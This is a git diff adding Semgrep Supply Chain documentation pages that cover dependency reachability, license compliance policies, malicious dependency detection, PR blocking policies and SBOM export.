+A type of Semgrep Supply Chain rule that performs reachability analysis. A reachability rule can determine if the vulnerable code pattern from a dependency is used in the codebase that imports it.
+
+Compare its opposite: [rules without reachability analysis](#rules-without-reachability-analysis)
+
+## Software bill of materials (SBOM)
+
+Software Bill of Materials (also known as 'Cyber Bill of Materials', CBOM) is an artifact produced by many software composition analysis tools. It enumerates the various components of a software artifact such as dependencies, licenses, and security statuses. SBOMs are typically generated for compliance purposes. Regularly, a security engineer or related role signs-off on the SBOM, meaning that they accept the security and legal risk of the associated artifact.
+
+Semgrep Supply Chain can export a CycloneDX 1.4 XML/JSON-formatted SBOM.
+
+## Threat
+
+A threat is any malicious event that violates the security of an application or network. A threat can result in disrupted business operations and loss or theft of data.
+
+See also [NIST definition of threat](https://csrc.nist.gov/glossary/term/threat).
+
+## Transitive or indirect dependency
+
+A transitive or indirect dependency is a dependency of a dependency. If your codebase uses a dependency A, and A is dependent on B, then B is a transitive dependency. An example would be a codebase that uses Cloudinary, which is dependent on Lodash. In this example, Lodash is a transitive dependency of the codebase.
+
+For more information, see [Supported languages](/supported-languages#semgrep-supply-chain).
+
+## Transitivity
+
+Pertains to a dependency's relationship to your codebase or first-party code.
+
+* **Direct**: Your project depends directly on the dependency.
+* **Transitive**: Your project's dependency depends on a vulnerable dependency.
+* **Undetermined**: Semgrep had no transitivity information for the dependency as it relates to your project.
+
+## Usage
+
+In Semgrep Supply Chain scans, a **usage **is a specific finding in your codebase where Semgrep has found a vulnerability. A vulnerability may have more than one usage, such as when a library is imported and used in many code files.
+
+## Unreachable finding (and unreachable vulnerability)
+
+An unreachable finding means that the dependency's version contains a known vulnerability, but the vulnerable code is not used within your codebase. Within Semgrep Supply Chain, specific findings (usages) are grouped together by their vulnerability.
+
+## Vulnerability
+
+A vulnerability is an unintentional flaw in a dependency that can be exploited. Vulnerabilities are assigned a CVE by the [MITRE corporation](https://cve.mitre.org/). Semgrep Supply Chain uses GitHub Security Advisory (GHSA) in categorizing the severity of a vulnerability.
diff --git a/mintlify-docs/semgrep-supply-chain/ignoring-dependencies.mdx b/mintlify-docs/semgrep-supply-chain/ignoring-dependencies.mdx
new file mode 100644
index 0000000000..761ea5a6ad
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/ignoring-dependencies.mdx
@@ -0,0 +1,8 @@
+---
+title: "Ignore manifest files, lockfiles, and dependencies"
+sidebarTitle: "Semgrep Supply Chain"
+---
+
+import IgnoringDependencies from "/snippets/semgrep-supply-chain/ignoring-dependencies.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-supply-chain/ignoring-deps.mdx b/mintlify-docs/semgrep-supply-chain/ignoring-deps.mdx
new file mode 100644
index 0000000000..14cca00c5e
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/ignoring-deps.mdx
@@ -0,0 +1,7 @@
+---
+title: "Ignore manifest files, lockfiles, and dependencies"
+---
+
+import IgnoringDependencies from "/snippets/semgrep-supply-chain/ignoring-dependencies.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-supply-chain/license-compliance.mdx b/mintlify-docs/semgrep-supply-chain/license-compliance.mdx
new file mode 100644
index 0000000000..1d82501b8c
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/license-compliance.mdx
@@ -0,0 +1,179 @@
+---
+title: "License compliance"
+---
+
+
+
+**PREREQUISITE**
+
+At least one repository that scans for dependencies through Semgrep Supply Chain. See [Scan third-party dependencies](/semgrep-supply-chain/getting-started).
+
+
+
+Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license.
+
+Whenever Semgrep determines that a dependency or version with a disallowed package has been added, it can notify you of this in a pull request or merge request comment.
+
+## Language support
+
+Licenses are detected based on the **package manager** used. See [Supported languages](/supported-languages/#semgrep-supply-chain) for a list of supported package managers.
+
+## Types of license policies
+
+Licenses in Semgrep can be assigned any of the following policies:
+
+| Policy | Description |
+| :--- | :--- |
+| **Allow** | Packages with licenses assigned this type of permission are allowed for use in the codebase. |
+| **Comment** | Packages with licenses assigned this type of permission are allowed for use in the codebase. A comment is added to the PR or MR introducing the package into the codebase. This permission can be useful when you want to remind or warn developers to use certain licenses for internal use only. |
+| **Block** | Packages with licenses assigned this type of permission are not allowed into the codebase. A comment is added to the PR or MR introducing the package into the codebase and the diff-aware scan exits with code 1. |
+
+By default, all licenses are set to **Allow**. You must configure your policies to block or leave comments on licenses.
+
+License compliance only blocks or comments when new licenses are introduced in a PR or MR, by dependency addition or version change. However, you can see the license status of current dependencies in the Semgrep AppSec Platform under **[Supply Chain](https://semgrep.dev/orgs/-/supply-chain)** > **Dependencies**, using the [search filters](/semgrep-supply-chain/dependency-search#search-filters).
+
+## View license policy
+
+To view a package's license policy:
+
+
+
+[Sign in to Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Navigate to **[Rules & Policies > Policies > Supply Chain > License configuration](https://semgrep.dev/orgs/-/policies/supply-chain#license-config)**.
+
+
+
+## Change the license policy
+
+To change the policies of packages based on the license:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login), and navigate to **[Rules & Policies > Policies > Supply Chain > License configuration](https://semgrep.dev/orgs/-/policies/supply-chain#license-config)**.
+
+
+Browse the available licenses within the **License configuration** section.
+
+
+Click the permission (**Allow**, **Comment**, or **Block**) you want to set the license to.
+
+
+**Optional**: Block entire categories of licenses by clicking on the **Set all to** drop-down box next to the license category.
+
+
+
+## License information
+
+License information is often stored in the package's repository alongside the source code. You can generally find this information in:
+
+- A license file, such as `LICENSE` or `LICENSE.txt`
+- The manifest file, such as the `pyproject.toml` or `package.json`, which typically specifies a `license` field
+
+Semgrep uses [deps.dev](https://deps.dev/) as the primary source for license data, which is then displayed in Semgrep AppSec Platform.
+
+[deps.dev](https://deps.dev/) aggregates license metadata from package registry APIs, such as PyPI and npm. This metadata is provided by package maintainers through their manifest files and may be missing, incomplete, or inaccurate. If the license data displayed in Semgrep AppSec Platform for a particular package is missing or doesn't show the expected value, the data provided by the package maintainer to populate the package registry API is likely incomplete or incorrect.
+
+## License categories
+
+Semgrep Supply Chain can identify the following licenses and license categories.
+
+### Popular Weak-copyleft licenses
+
+Software using packages with weak copyleft licenses may have to maintain the same license as the package. To determine if this applies to your project, consult your legal department. Developers typically choose these packages based on individual preferences, so usage should be monitored to ensure license compliance.
+
+* LGPL-3.0
+* LGPL-2.1
+* MPL-2.0
+* EPL-2.0
+* OSL-3.0
+* EUPL-1.2
+
+### Popular Copyleft licenses
+
+Software using packages with copyleft licenses **must** maintain the same license as the packages. To prevent license complications, developers often avoid packages using these licenses.
+
+* GPL-3.0
+* GPL-2.0
+* AGPL-3.0
+* AGPL-2.0
+* CC-BY-SA-4.0
+* APSL
+
+### Popular Permissive licenses
+
+Packages with permissive licenses have minimal restrictions on how they can be used or modified. This makes permissive licenses popular among developers for their flexibility, ease of use, and lack of legal concerns.
+
+* MIT
+* Apache-2.0
+* BSD-3
+* BSD-2
+* BSD-3-Clause
+* BSD-2-Clause
+* CC_BY-4.0
+* WTFPL
+* MS-PL
+* Unlicensed
+
+### Other licenses
+
+Packages tagged as **Other** are those with licenses that aren't yet categorized by Semgrep Supply Chain or aren't included in the categories of weak-copyleft licenses, copyleft licenses, or permissive licenses. This category includes all other standard Software Package Data Exchange (SPDX) licenses.
+
+The **Other** license category may include packages with copyleft or permissive licenses. Consult your legal department before using packages in this category.
+
+### Multiple license types
+
+Some packages utilize multiple licenses. Semgrep treats packages with multiple licenses as if all licenses apply and behaves according to the strictest policy. For example, if a package allows use under the MIT license or the GPL-3.0 license, and the GPL-3.0 license is set to Block, but the MIT license is set to Allow, a pull request that adds the package is blocked.
+
+You can add an [exemption for the package](#create-exemptions) if subsequent review indicates the dependency is safe for use under any of the detected licenses.
+
+## Create exemptions
+
+You can create exemptions to **allow** specific dependencies with licenses that are typically blocked. This feature is useful for internal dependencies not accessed by users or external APIs.
+
+Dependency exemptions are currently version-specific, so each version used must be exempted individually.
+
+To exempt a package:
+
+
+
+Sign in to Semgrep AppSec Platform and navigate to **Supply Chain > Dependencies**.
+
+
+Search for the dependencies you want to exempt.
+
+
+Click the dependency's icon to exempt it. Click the icon again to remove the exemption if necessary.
+
+
+
+Exempted dependencies appear in the **Supply Chain > Settings** tab.
+
+### Create custom dependency exceptions
+
+Custom dependency exceptions allow you to manually list the dependencies that should NOT prevent Semgrep from blocking a pull request or merge request due to licensing issues.
+
+For example, if `bitwarden/cli@2023.9.0`, which has a GPL-3.0 license, is on the allowlist, you must add an additional exception when upgrading to `bitwarden/cli@2023.9.1`. However, the dependency to which you're upgrading isn't yet listed in **Dependencies**; they appear only **after** you've scanned your project. Because the dependency isn't listed, you must manually create the exception. This ensures that the exclusion won't fail when you upgrade to `bitwarden/cli@2023.9.1` and scan your project again with Semgrep Supply Chain.
+
+To set a custom dependency exception:
+
+
+
+Sign in to Semgrep AppSec Platform and navigate to **Supply Chain > License configuration**.
+
+
+In **Custom dependency exceptions**, click **Add custom exception**.
+
+
+In the **Add custom dependency exception** window that appears:
+
+ i. Select the **Ecosystem** where this dependency applies.
+
+ ii. Provide the **Package name**, for example, `bitwarden/cli`.
+
+ iii. Provide the **Version** information for the package. The major, minor, and patch version information is required; pre-release and build metadata are optional.
+
+ iv. Click **Add** to save and add the exception.
+
+
diff --git a/mintlify-docs/semgrep-supply-chain/malicious-dependencies.mdx b/mintlify-docs/semgrep-supply-chain/malicious-dependencies.mdx
new file mode 100644
index 0000000000..fd9e1d17a4
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/malicious-dependencies.mdx
@@ -0,0 +1,99 @@
+---
+title: "Detect and remove malicious dependencies"
+---
+
+**Malicious dependencies** are dangerous packages, or dangerous versions of packages, that are designed to compromise systems. These threats include packages that have always been malicious, such as typo-squatting attacks, or packages that become malicious after an attacker compromises a maintainer or injects harmful code. They are also known as malware.
+
+Semgrep can detect malicious dependencies in your projects and pull requests (PRs) or merge requests (MRs).
+
+## Supported package managers
+
+The following table lists the languages for which Supply Chain can detect malicious dependencies.
+
+| Language | Package manager or ecosystem |
+| :--- | :--- |
+| C# | NuGet |
+| Go | `go.mod` |
+| Java | Gradle, Maven |
+| JavaScript | npm |
+| PHP | Composer |
+| Python | PyPi |
+| Ruby | RubyGems |
+| Rust | `cargo.lock` |
+| TypeScript | npm |
+
+
+## Enabling malicious dependency rules
+
+To include malicious dependency rules in your Supply Chain scan, navigate to **Settings > Supply Chain** and enable **Malicious dependency advisories**.
+
+You can also use this setting to disable malicious dependency scanning for your Semgrep organization.
+
+## Malicious dependency findings
+
+Malicious dependency findings are treated as **critical severity** findings.
+
+If you set up your Supply Chain [policies](https://semgrep.dev/orgs/-/policies/supply-chain) to block critical severity findings, malicious dependency findings block a PR or MR in the same way as any other Supply Chain finding.
+
+From the Supply Chain policies page, you can also configure a policy to trigger conditionally based on whether a dependency is marked **Malicious**.
+
+
+## View malicious dependencies
+
+Malicious dependencies appear in the [**Supply Chain**](https://semgrep.dev/orgs/-/supply-chain/vulnerabilities?primary=true&tab=open&last_opened=All+time) tab, alongside other Supply Chain findings. They are denoted by the **MAL** badge.
+
+To view malicious dependencies detected in your projects:
+
+
+
+Navigate to [Supply Chain](https://semgrep.dev/orgs/-/supply-chain).
+
+
+Click the **filters** icon and enable the **Malicious dependency** filter.
+
+
+Review the results listed. Click **Details** to learn more about available remediation guidance.
+
+
+
+## Triage and remediation for malicious dependencies
+
+- If there is no fix available, **remove** the malicious dependency from your codebase and re-run a Supply Chain scan.
+- If there is a safe version to update to, fix the finding by updating the dependency. Then, re-run a Supply Chain scan.
+- You can apply [any Semgrep triage state](/semgrep-supply-chain/triage-and-remediation#ignore-findings), such as **Ignored**, though this is not recommended.
+
+
+**CAUTION**
+
+If you have configured your policies to display malicious dependency findings to your developers, and you have enabled **Settings > General > Global > Triage via code review comments**, your developers are able to triage these findings as **Ignored**.
+
+
+## Create Jira tickets for malicious dependency findings
+
+Semgrep provides a Jira integration option that lets you create Jira tickets for malicious dependency findings across any branch, not just the primary branch. This capability enables developers to respond immediately when a malicious package is detected.
+
+To enable Jira ticket creation for malicious dependencies:
+
+
+
+Navigate to **Settings > Integrations > Jira**.
+
+
+Select the option to **Automatically create tickets for malicious dependency findings on any branch**.
+
+
+
+## Advisories for malicious dependencies
+
+You can view all the malicious dependencies that Semgrep can detect. To do so:
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login) and go to [**Rules & Policies > Advisories**](https://semgrep.dev/orgs/-/advisories).
+
+
+Find the **Analysis type** filter, and select ** Malicious**.
+
+
+
+Currently, advisories for malicious dependencies are generated automatically and use the package name and version to identify the dependency. In some cases, the advisory indicates that only specific sources of the dependency have been compromised. If you do not use those sources and have never done so, then it may be appropriate to mark the findings for that advisory as ignored.
diff --git a/mintlify-docs/semgrep-supply-chain/overview.mdx b/mintlify-docs/semgrep-supply-chain/overview.mdx
new file mode 100644
index 0000000000..9b7a63b20f
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/overview.mdx
@@ -0,0 +1,98 @@
+---
+title: "Overview"
+description: "Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies. It can also:"
+---
+
+* Generate a software bill of materials (SBOM) that provides a complete inventory of your open source components
+* Query for information about your dependencies
+* Support the enforcement of your business' [open source package licensing requirements](/semgrep-supply-chain/license-compliance)
+* Detect malicious dependencies
+
+## Open source security vulnerabilities
+
+Semgrep Supply Chain detects [security vulnerabilities](https://nvd.nist.gov/vuln/full-listing) in your codebase introduced by open source dependencies using high-signal rules, which are instructions Semgrep uses detect patterns in code, to determine the vulnerability's reachability.
+
+To do this, Semgrep Supply Chain first determines the list of dependencies and versions in the code, then scans your codebase using rules that specify the following information:
+
+* The dependency versions that contain a vulnerability
+* The pattern for the vulnerable code that Semgrep compares against your code
+* The severity of the vulnerability
+
+The following diagram shows the relationship between a Semgrep Supply Chain rule, the codebase scanned, and in this case, a lockfile:
+
+
+
+
+
+### Semgrep Supply Chain rule update frequency
+
+Semgrep ingests CVE information and security advisories from the following sources:
+
+
+
+
+
+
+Semgrep processes new information at least once per day to:
+
+* Generate rules for new security advisories
+* Update rules based on changes to existing security advisories
+
+### Types of Semgrep Supply Chain findings
+
+Semgrep Supply Chain generates a **finding** whenever it determines that your codebase uses or imports a package containing a vulnerability. In addition, Semgrep supports **reachability** for [generally available (GA) languages](/supported-languages):
+
+* **GA languages**: Semgrep writes rules for all critical and high CVE severity levels for GA languages. That means Semgrep Supply Chain can flag all your critical/high-severity findings as either reachable or unreachable.
+ * If there's a code pattern in the codebase that matches the vulnerability definition, the finding is flagged as **reachable**.
+ * A finding is **always reachable** if the only way to fix the vulnerability is to upgrade the dependency. Semgrep strongly recommends upgrading the dependencies involved in these findings.
+ * A finding is **conditionally reachable** if the vulnerability can be exploited when specific conditions are met. The finding is reachable if, in addition to the dataflow reachability in code, additional factors, such as the use of a specific operating system, are met. Semgrep cannot determine whether such factors are true, so conditionally reachable findings require manual review.
+ * If Semgrep Supply Chain determines that you don't use the vulnerable library package imported or you don't use the vulnerable piece of code of the library or package imported, the finding is flagged as **unreachable**.
+ * If Semgrep Supply Chain determines that you use a vulnerable version of a dependency, but Semgrep Supply Chain doesn't have a relevant reachability rule, it flags the finding as **no reachability analysis**.
+* For **languages where Semgrep Supply Chain doesn't currently offer reachability rules** languages, Semgrep Supply Chain's performance is comparable to that of [GitHub's Dependabot](https://github.com/dependabot). Semgrep Supply Chain generates these findings by checking the dependency's version against a list of versions with known vulnerabilities, but it does not run reachability analysis. Because Semgrep Supply Chain doesn't run reachability analysis, it can't determine whether the vulnerability is reachable. Such vulnerabilities are, therefore, flagged as **no reachability analysis**.
+
+Specific dependency and code match findings are called **usages**. Semgrep AppSec Platform groups all usages together by vulnerability. For each vulnerability, the UI also displays a CVE number corresponding to the [CVE program record](https://www.cve.org/About/Overview).
+
+### Transitive dependencies and reachability analysis
+
+A transitive dependency, also known as an indirect dependency, is a dependency of a dependency. Semgrep Supply Chain scans transitive dependencies for [all supported languages](/supported-languages#semgrep-supply-chain), looking for security vulnerabilities, but it does *not* perform reachability analysis. This means that Semgrep Supply Chain doesn't check the source code of your project's dependencies to determine if their dependencies produce a reachable finding in your code.
+
+However, some dependencies are vulnerable simply through their inclusion in a codebase; in such cases, Semgrep Supply Chain generates reachable findings involving these dependencies, even if they're transitive, not direct, dependencies.
+
+Some package ecosystems allow the use of a transitive dependency as if it were a direct dependency. Though this feature is uncommon, Semgrep Supply Chain can scan for such usages and flag vulnerabilities in transitive dependencies as unreachable if not used directly.
+
+## Language support and integrations
+
+Semgrep Supply Chain supports a broad set of languages with varying feature coverage.
+
+* See the full list of [supported programming languages](/supported-languages)
+* For a list of Semgrep-supported package managers for each language, see [Package manager support](/semgrep-supply-chain/sca-package-manager-support).
+* For feature support by language, see [Supply Chain feature support](/semgrep-supply-chain/sca-feature-support).
+* For definitions of language maturity levels, see [Language maturity levels](/references/language-maturity-levels#semgrep-supply-chain).
+* For analysis terminology, see [Feature definitions](/references/feature-definitions).
+* For a list of supported source code managers (SCM), see [Supported source code managers](/getting-started/scm-support) or learn how to [Connect a source code manager](/deployment/connect-scm).
+
+## Software bill of materials
+
+Semgrep Supply Chain can [generate a software bill of materials (SBOM)](/semgrep-supply-chain/sbom), a complete inventory of your third-party or open source components, to assist you with your auditing procedures.
+
+## Dependency search
+
+Semgrep Supply Chain's [dependency search](/semgrep-supply-chain/dependency-search) feature allows you to query for dependencies in your codebase; it can detect direct and transitive dependencies in any repository on which you have run a full scan. The results list the dependency, along with all of the repositories that use the dependency.
+
+## License compliance
+
+The [license compliance](/semgrep-supply-chain/license-compliance) feature ensures that you're only using open source packages whose licensing meets your organization's requirements.
+
+## Malicious dependencies detection
+
+Semgrep can [detect malicious dependencies](/semgrep-supply-chain/malicious-dependencies), which are treated as critical severity findings. If you have set up your [policies](/semgrep-supply-chain/policies) to block critical severity findings, Semgrep prevents developers from merging pull requests or merge requests with malicious dependencies.
+
+## Next steps
+
+Semgrep Supply Chain automatically scans repositories that you have added to Semgrep AppSec Platform. Once your first scan is completed:
+
+* [View, triage, and remediate](/semgrep-supply-chain/triage-and-remediation) your Supply Chain findings.
+ * [Customize Semgrep Supply Chain to ignore files and dependencies](/semgrep-supply-chain/ignoring-dependencies) to support your security and business goals.
+* [Generate a software bill of materials (SBOM)](/semgrep-supply-chain/sbom).
+* Query for dependencies in your codebase using [dependency search](/semgrep-supply-chain/dependency-search).
+* Ensure that you're only [using open source packages whose licensing meets your organization's requirements](/semgrep-supply-chain/license-compliance).
diff --git a/mintlify-docs/semgrep-supply-chain/policies.mdx b/mintlify-docs/semgrep-supply-chain/policies.mdx
new file mode 100644
index 0000000000..e0b2b06ff0
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/policies.mdx
@@ -0,0 +1,169 @@
+---
+title: "Manage policies"
+---
+
+By default, Semgrep AppSec Platform collects Supply Chain findings without notifying developers, similar to the [**Monitor** mode](/semgrep-code/policies#block-a-pr-or-mr-through-rule-modes) in Semgrep Code. This prevents developers from receiving notifications while you evaluate the tool.
+
+Once you are ready to notify developers through a **comment**, or potentially **block** them from merging a pull request or merge request (PR or MR), define a **Supply Chain policy**. This feature helps you manage noise and ensures that developers are only notified or potentially blocked based on the conditions you set.
+
+This feature enables you to configure the following:
+
+- **Scope**: These are the projects (repositories) that are affected by the policy.
+- **Conditions**: The conditions under which **actions** are performed. These conditions are typically attributes of a finding such as severity or reachability.
+- **Actions**: Actions that are performed on the defined scope when conditions are met.
+
+You can create as many policies as you need.
+
+## Prerequisites
+
+This feature requires the `semgrep:latest` Docker image or at least version 1.101.0 of the Semgrep CLI tool.
+
+## View your policies
+
+Only **admins** can view, create, edit, or delete policies.
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+From the navigation menu, click **Rules** to expand the drop-down box, then click **Policies**.
+
+
+Click **Supply Chain**. This takes you to the Supply Chain policies tab. Your policies are arranged as cards.
+
+- To view and edit an existing policy, click its **name** or **the three-dot ellipsis () > Edit policy**.
+- View a popup of a policy's **scope** (affected projects or tags) or a summary of its **actions and conditions** by clicking on the two summary links beside the policy name.
+
+
+
+## Create a policy
+
+
+
+From the Supply Chain policies tab, Click ** Create policy**.
+
+
+Provide a **Policy name**.
+
+
+Define the scope of the policy:
+
+ i. Click the drop-down box to select between **All Projects**, **Project**, or **Project tag**. Note that you can only select either a scope based on projects or tags, but not both.
+
+ ii. For **Project** or **Project tag** values, a second drop-down box appears. Choose the **projects** or **project tags** to finish defining the scope.
+
+
+Define the **Conditions** of the policy. See the [Policy conditions](#policy-conditions) section for more information. You can create more than one condition by clicking **Add condition**.
+ - For each condition, you can select multiple values by clicking on the **plus sign ()** on the same row. The policy is applied when **any** of those values are met (`OR`).
+ - Each additional condition is additive. The policy is applied when **all** conditions are met (`AND`).
+ - You can define conditions that are exclusionary, such as **When transitivity *is not* Transitive....**
+
+
+Define the actions of the policy. You can choose to **Leave a comment** or **Block and leave a comment**.
+
+
+Click **Save**. This brings you back to the Supply Chain policies tab.
+
+
+After creating a policy, it is **not** automatically enabled. Click the ** toggle** to enable a policy. This applies the policy to future scans.
+
+
+
+## Common use cases for policies
+
+Use the following recommendations to help you create policies. These guidelines help ensure your policies align with your business and organizational needs.
+
+### Recommended conditions for blocking PRs or MRs
+
+- **Always block PRs or MRs that introduce dependencies or dependency versions identified as malicious**. These represent known supply chain attacks and should never be allowed into your codebase.
+- **Always reachable and reachable findings with upgradeable dependencies**. This provides a path to unblock the user, as Semgrep can leave a comment with the upgrade instructions.
+
+### Recommended conditions for leaving a comment
+
+- **Reachable findings without upgradeable dependencies**. This makes the developer aware of the risk.
+- **Reachable, yet transitive findings**. Depending on your organization's policies, these may need to be flagged for risk.
+- **Conditionally reachable findings**. The decision to show developers conditionally reachable findings may depend on weighing your compliance policies against showing developers more findings. Conditionally reachable findings typically require further investigation, manual triage, and ticketing.
+- **Critical and high EPSS probability**. There is a chance of these findings being exploited regardless of reachability.
+
+
+### Turn off PR and MR comments
+
+By default, Semgrep pull request (PR) and merge request (MR) comments include both Semgrep Code and Semgrep Supply Chain (SSC) findings information. However, if you would like to turn off PR or MR comments for reachable SSC findings, you can do so as follows:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to [Rules & Policies > Policies > Supply Chain](https://semgrep.dev/orgs/-/policies/supply-chain).
+
+
+Click **Comment on reachable Supply Chain findings** to turn off the SSC policy supporting comments.
+
+
+
+> Turning off PR/MR comments doesn't turn off notifications regarding [license policy violations](/semgrep-supply-chain/license-compliance).
+
+## Policy scopes
+
+A policy's scope can consist of tags or projects, but not both. If you need to create a policy with both tags and projects, simply make another policy.
+
+If a project or project tag that's included in a policy scope gets deleted, it is **removed from the policy scope**. If all projects or all project tags are deleted for a given policy, you must edit the policy for it to be applied to a valid scope.
+
+## Policy conditions
+
+The following table lists available conditions and their values:
+
+| Condition | Values|
+| :--- | :--- |
+| Reachability |
Always reachable
Reachable
Conditionally reachable
Unreachable
No reachability analysis
|
+| Severity |
Critical
High
Medium
Low
|
+| Upgrade availability |
Upgrade available
Upgrade unavailable
|
+| Transitivity |
Direct
Transitive
|
+| EPSS probability |
High
Medium
Low
None
|
+| [CVE](https://www.cve.org/) | Manually provide a CVE ID, formatted as `CVE-YYYY-NNNN+` or choose from a list of values. The values listed are generated from findings identified by Semgrep Supply Chain. |
+
+
+## Other operations
+
+### Edit a policy
+
+
+
+From the Supply Chain policies tab, click the **three-dot (...) button > Edit policy** for the policy you want to edit. This takes you to the specific policy page.
+
+
+Make your changes.
+
+
+Click **Save**.
+
+
+
+### Disable or enable a policy
+
+From the Supply Chain policies tab, click the toggle for the policy you want to edit.
+
+You can also disable or enable a policy from the policy's page:
+
+
+
+From the Supply Chain policies tab, click the **three-dot (...) button > Edit policy**.
+
+
+Turn off or on the **Enable policy** toggle.
+
+
+Click **Save**.
+
+
+
+### Delete a policy
+
+From the Supply Chain policies tab, click the **three dot (...) button > Delete policy**, then click **Remove**.
+
+Note that:
+
+- This does not remove comments from existing PRs or MRs with findings.
+- If a policy is the **sole culprit** for blocking a PR, deleting it **and** re-running a scan unblocks the PR or MR.
diff --git a/mintlify-docs/semgrep-supply-chain/sbom.mdx b/mintlify-docs/semgrep-supply-chain/sbom.mdx
new file mode 100644
index 0000000000..1a82565f09
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/sbom.mdx
@@ -0,0 +1,73 @@
+---
+title: "Generate a software bill of materials"
+sidebarTitle: "SBOM"
+---
+
+
+
+**PREREQUISITE**
+
+At least one repository that scans for dependencies through Semgrep Supply Chain. See [Scan third-party dependencies](/semgrep-supply-chain/getting-started).
+
+
+
+Generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform. When generating an SBOM, Semgrep uses:
+
+- The vulnerability information from the default branch for the project
+- The dependency information from the latest full scan for the project.
+
+## Supported standards and formats
+
+Semgrep Supply Chain supports the following SBOM formats:
+
+- CycloneDX 1.4 JSON
+- CycloneDX 1.4 XML
+
+## Generate and download an SBOM for a single project
+
+SBOM generation can be performed through Semgrep AppSec Platform or the [ Semgrep API](https://semgrep.dev/api/v1/#tag/SupplyChainService/operation/SupplyChainService_CreateSbomExport).
+
+
+
+In Semgrep AppSec Platform, go to **Supply Chain > Dependencies**.
+
+
+Click the **Download ** icon next to the repository you want an SBOM for.
+
+
+Click the format you want the SBOM to be in. After clicking, refresh or leave the page only after the SBOM has been generated.
+
+
+Once Semgrep has generated the SBOM, click the link on the toaster notification to download it.
+
+
+
+You have successfully downloaded an SBOM.
+
+
+**SUPPLY CHAIN SCANS ON NON-PRIMARY BRANCHES**
+
+Typically, full scans are run only on primary (default) branches. However, if your workflow differs and you run full scans on non-primary branches, this can create a mismatch between dependencies and vulnerabilities in the generated SBOM. To avoid the mismatch, ensure that the latest full scan runs on the primary branch of the repository for which you want to generate an SBOM.
+
+
+
+### Generate an SBOM through the API
+
+Refer to the [ Semgrep API > SBOM documentation](https://semgrep.dev/api/v1/#tag/SupplyChainService/operation/SupplyChainService_CreateSbomExport).
+
+## Semgrep-specific SBOM data fields
+
+In addition to the [ minimum elements that define an SBOM](https://www.ntia.doc.gov/files/ntia/publications/sbom_minimum_elements_report.pdf), Semgrep provides additional metadata in the `vulnerabilities` field. Nested under the `vulnerabilities` field is a list of data objects describing a specific vulnerability. Each data object contains the following data fields:
+
+| Semgrep-specific field | Description |
+| :--- | :--- |
+| Advisories | Links to GitHub or NIST advisories about the specific vulnerability. |
+| Affects | The name and version of the package that the vulnerability affects. |
+| Analysis | Semgrep's analysis of this vulnerability in your supply chain. Under analysis are `state` and `justification` fields, which describe if your codebase is affected by the vulnerability and why Semgrep thinks it is or is not affected. |
+| CWEs | The assigned CWE (common weakness enumeration) number. |
+| Description | A short description of the vulnerability. |
+| Detail | A longer description of the vulnerability, including the affected versions. |
+| Ratings | Semgrep Supply Chain's severity rating of this vulnerability. |
+| References | Links to the specific CVE. References can come from NIST, Electron release notes, and GitHub Security Advisory. |
+| Source | The primary source of this vulnerability's advisory. |
+| Tools | Details about Semgrep, the tool used to generate the SBOM. |
diff --git a/mintlify-docs/semgrep-supply-chain/sca-feature-support.mdx b/mintlify-docs/semgrep-supply-chain/sca-feature-support.mdx
new file mode 100644
index 0000000000..f5f84a2b80
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/sca-feature-support.mdx
@@ -0,0 +1,137 @@
+---
+title: "Supply Chain feature support"
+sidebarTitle: "Feature support"
+description: "This document discusses the features supported by Semgrep Supply Chain."
+---
+
+
+## Lockfiles and manifest files
+
+For projects with lockfiles, Semgrep parses lockfiles for dependencies, then scans your codebase for reachable findings based on the lockfiles. For a lockfile to be scanned by Semgrep Supply Chain, it must have one of the supported lockfile names.
+
+For some languages, a lockfile or manifest file is required to determine transitivity. See [Transitive dependencies and reachability analysis](/semgrep-supply-chain/overview/#transitive-dependencies-and-reachability-analysis) for more information.
+
+Additionally, Semgrep offers beta support for the scanning of projects written in the following languages without lockfiles using Dynamic Dependency Resolution. See the following table for more information.
+
+## Supply Chain features for each language
+
+
+The following table lists all Supply Chain features for each language. Languages with **reachability** support are listed first.
+
+
No reachability analysis. However, Semgrep can compare a package's version against a list of versions with known vulnerabilities.
+
--
+
✅
+
✅
+
+
+
Dart
+
--
+
--
+
--
+
+
+
Elixir
+
--
+
--
+
--
+
+
+
+
+_†License detection for new packages is asynchronous and processed after the initial scan. Policies aren't applied on first detection, but are enforced in subsequent scans._
+
+## CVE coverage
+
+For customers with an active paid subscription, Semgrep’s reachability analysis
+covers all **critical and high severity** CVEs from [supported sources](#supported-sources)
+starting in 2017 across all supported languages.
+
+### Supported sources
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-supply-chain/sca-package-manager-support.mdx b/mintlify-docs/semgrep-supply-chain/sca-package-manager-support.mdx
new file mode 100644
index 0000000000..910860a978
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/sca-package-manager-support.mdx
@@ -0,0 +1,130 @@
+---
+title: "Package manager support"
+description: "Semgrep Supply Chain (SCA) scans dependencies by parsing manifest files or lockfiles, or with Dynamic Dependency Resolution (beta). This page lists the supported package managers and file types."
+---
+
+For language-level coverage and feature maturity, see [Supported languages](/supported-languages).
+
